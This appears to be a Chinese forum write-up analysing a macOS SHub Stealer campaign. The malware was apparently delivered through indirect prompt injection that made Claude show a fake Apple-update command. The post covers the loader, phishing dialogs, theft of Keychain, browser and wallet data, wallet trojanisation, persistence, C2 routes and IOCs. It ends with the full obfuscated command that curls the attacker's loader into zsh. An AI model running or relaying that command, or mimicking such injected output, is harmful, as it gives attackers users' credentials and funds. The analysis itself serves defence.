2026 年 5 月 6 日,X 上的安全研究员 Tuan Anh Nguyen 分享了一个 Claude 对话链接:
cbaK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6U0L8r3q4#2k6r3g2Q4x3X3g2S2K9g2)9J5c8Y4y4Z5j5i4u0W2i4K6u0r3y4o6V1^5z5o6p5^5k6o6W2Q4x3X3b7I4k6r3c8U0i4K6u0V1y4r3k6T1j5W2)9J5k6o6W2X3j5e0N6Q4x3X3b7#2y4X3c8X3j5U0R3@1z5o6b7H3j5U0l9`.

这个对话里,攻击者利用间接提示词注入,在 Claude 的输出中嵌入伪装成 Apple 安全更新的恶意命令,诱导用户复制到终端执行。链接是博主朋友提供的,似乎是员工受到攻击的真实案例,目前恶意载荷已从服务器清除。
手法与 macOS ClickFix 窃密活动十分相似,虽然最开始是通过提示词注入实现的,执行链仍是“诱导用户复制 Terminal 命令 → curl 拉脚本 → zsh/osascript 执行 → 落地窃密器”的 ClickFix 模式。该样本会窃取 iCloud、Keychain、浏览器和钱包数据,并木马化钱包应用,长期驻留 macOS 系统。

很可惜的是看不到claude到底访问了哪些网页,不知道这次间接提示词注入是如何发生成的,只能看看样本
从推文里的对话分享链接中提取到的恶意命令:
攻击者的巧思/doge,这个命令里把base64编码后的代码放在后面,在claude的网页端只能看到前面正常的下载 apple 官网文件的链接,诱导用户直接复制到终端执行
Base64 解码出来是:
通过代理从 C2 把 loader.sh 拉了下来。文件很小,1349 字节,长这样:
双层编码 dropper。 结构极其简洁——6 行代码,核心只有一步:base64 -D | gunzip | eval。Base64 解码 → Gzip 解压 → eval 执行。
heredoc 分隔符 PAYLOAD_9d91ed76 带一个 8 位 hex 后缀,应该是自动化混淆工具搞出来的。
Gzip 头里 MTIME 是 2026-05-06 14:41:22 UTC。还有个有意思的细节——OS 字段是 255。正常的 gzip 会自动填当前系统编号,作者专门修改了一下来隐藏自己的开发平台。
把 Base64 解码、Gzip 解压后,得到一个 1918 字节的 Zsh 脚本。
它读 macOS 的键盘偏好设置,如果发现有俄语键盘布局,标记 IS_CIS=true,然后发送一条 "cis_blocked" 遥测就直接退出了,猜测攻击者可能是俄语地区的(
收集了键盘布局、主机名、macOS 版本、公网 IP
build_hash 是 e743990506148cbbcc2675048e5b6f78,32 字符 hex,MD5 长度,这应该是标识这次攻击活动/版本的 ID,后面还会反复出现。
几个关键点:
C2 是 babulikinet.com。
DNS 解析结果:
这个域名仅注册了一天(2026 年 5 月 5 日)。

AppleScript 载荷 payload.applescript,约 35KB、1086 行。内部自标识为 "SHub Stealer (DEBUG)",Build Tag 为 "eskalogs2"。
常规且直接的反取证操作,没什么可说的
这个攻击手法与 ClickFix 攻击活动的特征基本一致:弹窗钓鱼、伪装系统更新提示、要求密码验证、循环重试
用的是 macOS 原生的 display dialog API,标题叫 "System Preferences",图标是系统的锁定图标 LockedIcon.icns。弹窗提示说"你需要更新设置才能启动应用",让用户输入密码。
它会重试最多 10 次,每次给 150 秒超时,而且不管密码对不对,所有尝试过的密码都保存到本地文件,即使最后没骗到正确密码,也能收集受害者常用的密码组合。
密码验证用的是 dscl . authonly,验证成功后直接尝试提取 Chrome 钥匙串里的主密码:
支持 14 款 Chromium 内核浏览器 + Firefox: Chrome、Brave、Edge、Opera、OperaGX、Vivaldi、Orion、Sidekick、Chrome Canary、Chromium、Chrome Dev、Arc、Cốc Cốc、Chrome Beta + Firefox。
窃取的目标文件包括:Cookies、保存的网站密码、表单填充数据、加密钱包扩展的本地存储、扩展的本地数据库
对于 Firefox(Gecko 内核),窃取:
浏览器模块还专门跑了两趟——第一趟 Chromium() 收集浏览器本身的数据,第二趟 ChromiumWallets() 专门针对加密钱包扩展,这说明攻击者很清楚什么数据值钱/doge。
ChromiumWallets() 硬编码了 约 90 个 Chromium 扩展 ID,逐个去 Local Extension Settings/ 下面匹配。部分列表如下:
每个扩展还有一个 3 元组配置 {extension_id, flag1, flag2, flag3},第三个值如果是 1 表示去 IndexedDB/ 下找(而不是 Local Extension Settings/)。这说明作者对每个钱包扩展的数据存储结构都做过逆向。剩下的 80 多个扩展 ID 我还没逐一比对,但覆盖范围显然涵盖了主流钱包生态。
DesktopWallets() 模块硬编码了 25+ 款桌面钱包的默认路径:
GrabFolderLimit() 方法设置了 100MB 的单个钱包窃取上限(硬编码 100 * 1024 * 1024),应该是怕钱包数据太大影响回传效率。排除列表里有 .DS_Store、Code Cache、Cache、journals、Previews——这是一种过滤策略,只拿有实际价值的数据,不搬运缓存和预览垃圾。
专门针对 Telegram Desktop 的 tdata/ 目录,只拿了两个就能完整劫持 Telegram 会话的关键文件
直接把整个 ~/Library/Keychains/ 目录拷走。 macOS 的钥匙串里存着所有的 Wi-Fi 密码、应用密码、Safari 保存的密码、邮件账户密码……
iCloud 账户数据也打包带走。
这个有点乱,让大模型总结了一下:
还额外收集:
木马从 C2 下载恶意 .asar 文件(Electron 应用的打包格式),注入到已安装的钱包应用中。目标应用有 5 个:
以 Exodus 为例,注入流程为:
步骤 2-4 的"移出再移回"操作很可能是为了绕过 macOS 的 TCC (Transparency, Consent, and Control) 保护——应用目录受 SIP 保护时直接替换文件会被拒绝,但删除后重新创建是可以的。xattr -cr 清除隔离标志,codesign 做 ad-hoc 自签名来绕过 Gatekeeper。
有意思的是,Ledger Wallet 和 Ledger Live 的注入还额外替换了 Info.plist。这两个是硬件钱包的配套应用——Info.plist 被替换后可能授予了额外的权限(比如访问摄像头/麦克风/辅助功能),用于后续更隐蔽的监控。
木马把持久化脚本藏在 ~/Library/Application Support/Google/GoogleUpdate.app/Contents/MacOS/GoogleUpdate,然后用一个 LaunchAgent plist com.google.keystone.agent.plist 每 60 秒启动一次。
持久化脚本解码后是这样的,:
其中,用硬件 UUID(IOPlatformUUID)作为 bot 标识——这个标识即使重装系统也不会变,并且C2 可以在响应里携带任意 Base64 编码的 Shell 命令,落地到 /tmp/.c.sh 执行
木马把窃取的所有数据先存到 /tmp/shub_<random>/,然后用 ditto 打包成 ZIP 上传到 C2:
文件 < 85MB 的直接 POST 到 /gate,文件 ≥ 85MB 则启动分片模式,按优先级排序:Wallets → KeyChains → Browsers → Telegram → Safari → Notes → Profile,每个分片 ≤ 70MB,独立打包成 ZIP再上传。所有操作完成后自动清理
偷完所有数据后,弹一个假错误对话框,让受害者以为只是应用程序不兼容——从而不会怀疑自己中了木马。
整个过程中,木马还向 C2 发送了详细的遥测事件,形成了一个完整的事件流水:
每个事件都带上 build_hash 和 IP,攻击者可以在后台实时看到每台受害机的进度。
经过两阶段全部代码分析,完整的 C2 路由表如下:
这个样本可归类 ClickFix 攻击活动,想了解更多的可以参考微软安全团队的推文:
a73K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6%4N6%4N6Q4x3X3g2E0K9h3y4J5L8%4y4G2k6Y4c8Q4x3X3g2U0L8$3#2Q4x3V1k6W2L8W2)9J5k6s2g2K6i4K6u0r3M7$3g2U0N6i4u0A6N6s2W2Q4x3V1k6T1L8r3!0Y4i4K6u0r3x3U0l9J5y4W2)9J5c8U0l9#2i4K6u0r3x3o6k6Q4x3V1k6U0L8r3W2U0K9$3k6A6P5q4)9J5k6r3y4S2L8i4m8S2K9h3N6F1i4K6u0V1N6i4y4W2M7#2)9J5k6r3k6S2K9$3g2Q4x3X3c8E0j5h3y4G2M7#2)9J5k6s2g2@1K9h3I4A6N6r3W2W2M7#2)9J5k6r3I4#2M7X3g2K6i4K6u0V1k6r3g2D9K9i4k6W2M7W2)9J5k6r3W2F1k6X3!0K6N6r3g2S2L8r3g2J5M7#2)9J5c8R3`.`.
大模型给的总结:
总结自大模型:
所有原始恶意样本已打包为 malware_samples_0506.zip(密码 0506)。文件结构如下:
| 组件 |
SHA256 |
| loader.sh (完整) |
efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d |
| Gzip 压缩载荷 |
6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e |
| 解码后 Zsh 载荷 |
d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065 |
| 扩展名 |
Extension ID |
| MetaMask |
nkbihfbeogaeaoehlefnkodbefgpgknn |
| Phantom (Solana) |
bfnaelmomeimhlpmgjnjophhpkkoljpa |
| Trust Wallet |
egjidjbpglichdcondbcbdnbeeppgdph |
| Coinbase Wallet |
hnfanknocfeofbddgcijnmhnfnkdnaad |
| Rabby |
acmacodkjbdgmoleebolmdjonilkdbch |
| Keplr (Cosmos) |
dmkamcknogkgcdfhhbddcghachkejeap |
| TronLink |
ibnejdfjmmkpcnlpebklmnkoeoihofec |
| 钱包 |
路径 |
| Exodus |
~/Library/Application Support/Exodus/ |
| Electrum |
~/.electrum/wallets/ |
| Atomic |
~/Library/Application Support/atomic/Local Storage/leveldb/ |
| Guarda |
~/Library/Application Support/Guarda/ |
| Coinomi |
~/Library/Application Support/Coinomi/wallets/ |
| Sparrow |
~/.sparrow/wallets/ |
| Wasabi |
~/.walletwasabi/client/Wallets/ |
| Bitcoin Core |
~/Library/Application Support/Bitcoin/wallets/ |
| Monero |
~/.bitmonero/wallets/ |
| Litecoin Core |
~/Library/Application Support/Litecoin/wallets/ |
| Dash Core |
~/Library/Application Support/DashCore/wallets/ |
| Dogecoin Core |
~/Library/Application Support/Dogecoin/wallets/ |
| Ledger Live |
~/Library/Application Support/Ledger Live/ |
| Trezor Suite |
~/Library/Application Support/@trezor |
| Daedalus (Cardano) |
~/Library/Application Support/Daedalus Mainnet/wallets/ |
| 钱包 |
C2 asar 端点 |
| Exodus |
/gate/exodus-asar |
| Atomic Wallet |
/gate/atomic-asar |
| Ledger Wallet |
/gate/ledger-asar |
| Ledger Live |
/gate/ledgerlive-asar |
| Trezor Suite |
/gate/trezor-asar |
| 端点 |
方法 |
用途 |
/debug/loader.sh?build=<hash> |
GET |
第一阶段 loader.sh 分发 |
/api/debug/event |
POST |
全部遥测事件(两阶段共用) |
/debug/payload.applescript?build=<hash> |
GET |
第二阶段 AppleScript 载荷分发 |
/gate |
POST |
窃取数据 ZIP 上传 |
/gate/chunk |
POST |
分片上传 |
/gate/exodus-asar |
GET |
Exodus 钱包注入载荷 |
/gate/atomic-asar |
GET |
Atomic Wallet 注入载荷 |
/gate/ledger-asar |
GET |
Ledger Wallet 注入载荷 |
/gate/ledgerlive-asar |
GET |
Ledger Live 注入载荷 |
/gate/trezor-asar |
GET |
Trezor Suite 注入载荷 |
/api/bot/heartbeat |
POST |
持久化心跳 / 远程命令 |
| IOC 类型 |
值 |
组件 |
| SHA256 |
efe6b07d573c788d1bae0a296fd1482fbbdc78ee8fefa04c287439349a60b68d |
loader.sh |
| SHA256 |
6323f50132a833c61041becbf8cd109876aae83237f5641e8be09c662beb251e |
Gzip 载荷 |
| SHA256 |
d40b05a349ed006a835e880707a406d000db1c6c79da3c3f77e06422f3ce4065 |
解码后 Zsh |
| MD5 |
d8788f0aabdb3f5b1e705783a7e14261 |
loader.sh |
| IOC 类型 |
值 |
| 域名 |
babulikinet.com |
| IP(Cloudflare CDN) |
172.67.216.222 |
| IP(Cloudflare CDN) |
104.21.93.240 |
| 遥测 URL |
6d4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3k6i4k6W2L8Y4b7`. |
| 第一阶段 URL |
832K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3L8r3!0S2k6r3g2J5i4K6u0W2M7$3S2Q4x3@1k6T1N6h3W2D9k6q4)9K6c8r3f1%4y4o6x3&6z5e0l9#2x3o6j5I4y4o6S2U0j5X3u0U0j5K6t1$3y4K6f1H3y4o6S2W2y4h3t1$3k6U0M7^5 |
| 第二阶段 URL |
e76K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3c8W2j5Y4g2Y4i4K6u0r3M7r3q4&6L8r3!0S2k6q4)9J5k6h3q4H3M7r3I4W2M7$3y4J5K9i4m8@1i4K6y4r3j5Y4g2A6L8r3c8Q4x3@1c8W2y4K6b7K6z5e0V1H3y4e0l9$3x3e0b7^5j5$3u0T1j5$3x3J5y4U0M7#2x3o6b7^5k6e0g2T1y4X3j5%4z5l9`.`. |
| 数据回传 |
d7bK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3f1`. |
| 分片上传 |
a2eK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3N6S2N6r3g2Q4x3V1k6U0K9s2g2F1K9H3`.`. |
| 持久化 C2 |
c86K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6T1j5h3u0#2L8r3W2C8K9h3&6W2N6q4)9J5k6h3y4G2L8g2)9J5c8X3q4H3K9g2)9J5c8X3u0G2N6q4)9J5c8X3S2W2j5i4u0@1j5X3g2S2N6l9`.`. |
| 标识符 |
值 |
| Build Hash |
e743990506148cbbcc2675048e5b6f78 |
| Build ID (txd) |
d91d844ad8920458ee99e707b1a203cba8df76ce960195f0993eb3b0e96d893f |
| Build Name |
eskalogs2 |
| Gate API Key |
61cb9c3bd1a2faa7d6613dd8e5d09e79fe95e85ab09ed6bcd6406badff5a083f |
| 自标识 |
SHub Stealer (DEBUG) |
echo "Downloading Update: 1e4K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6K6N6i4m8H3L8%4u0@1i4K6u0W2j5i4m8H3L8r3g2Q4x3X3g2U0L8$3#2Q4x3V1k6V1L8%4N6F1L8r3!0S2k6s2y4Q4x3V1k6E0j5h3y4G2M7#2)9J5k6s2y4W2j5%4g2J5K9i4c8&6i4K6u0V1N6i4m8V1j5i4c8W2i4K6u0V1x3e0c8Q4x3X3f1#2i4K6u0W2k6r3#2Y4" && curl -s $(echo "aHR0cHM6Ly9iYWJ1bGlraW5ldC5jb20vZGVidWcvbG9hZGVyLnNoP2J1aWxkPWU3NDM5OTA1MDYxNDhjYmJjYzI2NzUwNDhlNWI2Zjc4" | base64 -d) | zsh
[培训]《冰与火的战歌:Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。